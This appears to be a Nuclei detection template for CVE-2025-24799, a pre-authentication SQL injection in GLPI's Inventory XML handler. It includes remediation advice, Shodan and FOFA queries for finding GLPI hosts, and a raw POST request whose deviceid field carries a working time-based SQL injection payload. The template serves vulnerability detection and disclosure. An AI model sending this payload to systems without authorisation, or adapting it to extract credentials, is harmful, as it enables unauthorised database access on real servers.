A pre-authentication SQL injection vulnerability exists in the Inventory feature of GLPI. The vulnerability is caused by insufficient sanitization of user input in the handleAgent function when processing XML requests. The issue occurs because SimpleXMLElement objects can bypass the dbEscapeRecursive function, allowing an attacker to inject SQL queries. This can lead to unauthorized access to sensitive information in the database, including user credentials and potential authentication bypass.
PoC
id: CVE-2025-24799
info:
name: GLPI < 10.0.17 - Pre-Auth SQL Injection
author: ritikchaddha
severity: critical
description: |
A pre-authentication SQL injection vulnerability exists in the Inventory feature of GLPI. The vulnerability is caused by insufficient sanitization of user input in the handleAgent function when processing XML requests. The issue occurs because SimpleXMLElement objects can bypass the dbEscapeRecursive function, allowing an attacker to inject SQL queries. This can lead to unauthorized access to sensitive information in the database, including user credentials and potential authentication bypass.
impact: |
Unauthenticated attackers can execute arbitrary SQL queries through XML requests to the Inventory feature, potentially extracting user credentials, bypassing authentication, and accessing sensitive database information.
remediation: |
Upgrade to GLPI version 10.0.18 or later. If upgrading is not immediately possible, consider disabling the Inventory feature or restricting access to it.
reference:
- https://blog.lexfo.fr/glpi-sql-to-rce.html
- https://github.com/glpi-project/glpi/security/advisories/GHSA-p626-hph9-p6fj
- https://nvd.nist.gov/vuln/detail/CVE-2025-24799
classification:
epss-score: 0.86348
epss-percentile: 0.99724
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2025-24799
cwe-id: CWE-89
metadata:
verified: true
product: GLPI
max-request: 1
shodan-query: title:"GLPI"
fofa-query: title="GLPI"
tags: cve,cve2025,glpi,sqli,vkev,vuln
http:
- raw:
- |
POST /index.php/ajax/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/xml
<?xml version="1.0" encoding="UTF-8"?>
<xml>
<QUERY>get_params</QUERY>
<deviceid>', IF((1=1),(select sleep(7)),1), 0, 0, 0, 0, 0, 0);#</deviceid>
<content>aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</content>
</xml>
matchers:
- type: dsl
dsl:
- 'duration>=7'
- 'status_code ==200'
- 'contains(header, "application/xml")'
- 'contains_all(body, "<status>ok", "REPLY>")'
condition: and
# digest: 490a00463044022070d3d526785e63a784a8613431843bc1cc92141a60b89de0d45eae6b87eedf2902206a54b5b99c837478bdfd6161646e5c99aba400b5686b8a9ee542fc51d0ba918a:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.